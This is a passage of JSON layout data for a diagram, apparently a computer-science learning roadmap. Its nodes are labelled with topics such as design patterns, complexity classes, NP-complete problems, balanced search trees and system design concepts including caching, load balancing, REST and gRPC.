      \"y\": 1715.9760683904422\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Dependency Injection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 59.26377479007613,\n        \"y\": 1715.9760683904422\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PpFQ0zmObZLvmBvqhTEMz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 59.26377479007613,\n        \"y\": 1768.9760683904422\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Null Object Pattern\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 59.26377479007613,\n        \"y\": 1768.9760683904422\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_2Jddpz_cdwyeIgrg5qt_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 59.26377479007613,\n        \"y\": 1821.9760683904422\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Type Object Pattern\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 44,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 44\n      },\n      \"positionAbsolute\": {\n        \"x\": 59.26377479007613,\n        \"y\": 1821.9760683904422\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 44\n      }\n    },\n    {\n      \"id\": \"cdNi0EYrQ5nsgNxFVnXL8\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -206.23550208669644,\n        \"y\": 1915.2378578688945\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basic Math Skills\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YLCmZvoLkhOk9wlgYW2Ms\"\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 177,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -206.23550208669644,\n        \"y\": 1915.2378578688945\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HZ3_xyphbjhBPwwQo_rHH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -206.23550208669644,\n        \"y\": 1995.6072055704187\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Probability\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 44,\n      \"style\": {\n        \"width\": 177,\n        \"height\": 44\n      },\n      \"positionAbsolute\": {\n        \"x\": -206.23550208669644,\n        \"y\": 1995.6072055704187\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 44\n      }\n    },\n    {\n      \"id\": \"lWnAY0DgrUOmT6yqnxeBN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -206.23550208669644,\n        \"y\": 2043.6072055704187\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Combinatorics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 177,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -206.23550208669644,\n        \"y\": 2043.6072055704187\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YLCmZvoLkhOk9wlgYW2Ms\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 37.03713904234036,\n        \"y\": 1915.2378578688945\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Complexity Classes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"DMuMsEowpevTCALtziwTB\"\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 281,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 37.03713904234036,\n        \"y\": 1915.2378578688945\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3aM17dPKNi8tRJsW8lesI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 37.03713904234036,\n        \"y\": 1996.162871464112\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"P\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 37.03713904234036,\n        \"y\": 1996.162871464112\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ewXUHpOnjm8YrLhce1dAQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 121.0371390423403,\n        \"y\": 1996.162871464112\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"NP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 121.0371390423403,\n        \"y\": 1996.162871464112\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mJJ8DGUpBuHEJ7I6UTy1T\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 157.55559693259414,\n        \"y\": 2049.9610617973904\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"NP Hard\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 161,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 161,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 157.55559693259414,\n        \"y\": 2049.9610617973904\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 161,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Lwkz7qozXRlVNA20zJbSw\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 36.816461554047976,\n        \"y\": 2103.830862188433\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"NP Complete\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 284,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 36.816461554047976,\n        \"y\": 2103.830862188433\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0btHNkzWL1w_-pUgU_k2y\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 205.55559693259414,\n        \"y\": 1996.162871464112\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"P = NP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 113,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 113,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 205.55559693259414,\n        \"y\": 1996.162871464112\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 113,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZG-hWjVoS3p9XfrtBL0sD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 44.816461554047976,\n        \"y\": 2160.830862188433\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Travelling Salesman Problem\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 44.816461554047976,\n        \"y\": 2160.830862188433\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yHeCRPhfAOWiggZeUHPU9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 44.816461554047976,\n        \"y\": 2213.830862188433\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Knapsack Problem\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 44.816461554047976,\n        \"y\": 2213.830862188433\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4QVVYjDODMWsjnrE-4UBs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 44.816461554047976,\n        \"y\": 2266.830862188433\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Longest Path Problem\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 44.816461554047976,\n        \"y\": 2266.830862188433\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4qUVacMEz3XFiL_dMre6P\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 408.1360889073014,\n        \"y\": 2066.529637253211\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zvlTQ0A-My4QDrslp_lru\"\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 132,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 408.1360889073014,\n        \"y\": 2066.529637253211\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rgAd-PibuMY6HtBl7OSyh\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 463.6360889073014,\n        \"y\": 2115.529637253211\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.75,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 292,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 292\n      },\n      \"positionAbsolute\": {\n        \"x\": 463.6360889073014,\n        \"y\": 2115.529637253211\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 292\n      }\n    },\n    {\n      \"id\": \"7DF3UhefOSqqTuccH8c8X\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 319.816461554048,\n        \"y\": 2358.529637253211\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Balanced Search Trees\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zvlTQ0A-My4QDrslp_lru\"\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 319.816461554048,\n        \"y\": 2358.529637253211\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OUistS7H7hQQxVV-lOg39\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 338.191407832647,\n        \"y\": 2451.253238399003\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"AVL Trees\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 44,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 44\n      },\n      \"positionAbsolute\": {\n        \"x\": 338.191407832647,\n        \"y\": 2451.253238399003\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 44\n      }\n    },\n    {\n      \"id\": \"eOL0_SzxBn7_xhNcBDi2D\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 338.191407832647,\n        \"y\": 2499.253238399003\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Red / Black Trees\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 338.191407832647,\n        \"y\": 2499.253238399003\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3jiV9R82qxpqIGfpEq_wK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 338.191407832647,\n        \"y\": 2552.253238399003\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"2 3 Search Trees\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 338.191407832647,\n        \"y\": 2552.253238399003\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IaPd_zuLbiOCwoSHQLoIG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 338.191407832647,\n        \"y\": 2605.253238399003\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"2 3 4 Trees\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 338.191407832647,\n        \"y\": 2605.253238399003\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UOYeM-hqIKCrB9hGez4Q_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 338.191407832647,\n        \"y\": 2658.253238399003\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"K-ary / M-ary Tree\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 338.191407832647,\n        \"y\": 2658.253238399003\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"s0Pi6CemUUsmZSEu2j2gH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 338.191407832647,\n        \"y\": 2711.253238399003\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"B-Tree\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 338.191407832647,\n        \"y\": 2711.253238399003\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"w-fvEiSJysywR3AOAB0ve\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 97.54324929534187,\n        \"y\": 2358.529637253211\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"System Design\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zvlTQ0A-My4QDrslp_lru\"\n      },\n      \"zIndex\": 999,\n      \"width\": 165,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 165,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 97.54324929534187,\n        \"y\": 2358.529637253211\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 165,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-34WGppX6QC5fkCvfCghp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 37.543249295341866,\n        \"y\": 2451.8089042926963\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Horizontal vs Vertical Scaling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 285,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 285,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 37.543249295341866,\n        \"y\": 2451.8089042926963\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 285,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xDiS0HmrEoPjkQg9x2O3o\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 37.543249295341866,\n        \"y\": 2503.8089042926963\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Load Balancing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 285,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 285,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 37.543249295341866,\n        \"y\": 2503.8089042926963\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 285,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wAsZ-M5N9ERufQnBaXbAE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 37.543249295341866,\n        \"y\": 2555.8089042926963\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Clustering\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 179,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 179,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 37.543249295341866,\n        \"y\": 2555.8089042926963\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 179,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4u5w9QCptLWuY9O7_UU8V\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 222.54570078536193,\n        \"y\": 2555.8089042926963\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Caching\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 222.54570078536193,\n        \"y\": 2555.8089042926963\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"r8V9bZpc98SrLvXc070bZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 37.543249295341866,\n        \"y\": 2607.8089042926963\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CDN\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 179,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 179,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 37.543249295341866,\n        \"y\": 2607.8089042926963\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 179,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qLLJ_ehC8tSRfXsorYMQz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 222.10434580877705,\n        \"y\": 2607.8089042926963\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Proxy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 222.10434580877705,\n        \"y\": 2607.8089042926963\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GZI8EsEqiMJX3fSbO_E-7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 37.543249295341866,\n        \"y\": 2659.8089042926963\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CAP Theorem\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 179,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 179,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 37.543249295341866,\n        \"y\": 2659.8089042926963\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 179,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LCPEzpyAuHY3ggN3nYrNN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 220.10434580877705,\n        \"y\": 2659.8089042926963\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Queues\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 103,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 103,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 220.10434580877705,\n        \"y\": 2659.8089042926963\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 103,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"X1wv7xV69IEzepg8bF8oZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 37.543249295341866,\n        \"y\": 2711.8089042926963\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Architectural Styles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 285,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 285,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 37.543249295341866,\n        \"y\": 2711.8089042926963\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 285,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Kvz3Sn7L8CxP5ZXO1hlcU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 37.543249295341866,\n        \"y\": 2763.8089042926963\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"REST\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 76,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 37.543249295341866,\n        \"y\": 2763.8089042926963\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DeE_dZecLmKCjePovTfFS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 117.54570078536193,\n        \"y\": 2763.8089042926963\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GraphQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 116,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 116,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 117.54570078536193,\n        \"y\": 2763.8089042926963\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 116,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"M4vdwAbjLPrLjWUsG_P1I\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 235.54570078536193,\n        \"y\": 2763.8089042926963\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"gRPC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 88,\n      \"height\": 49,\n      \"style\": {\n        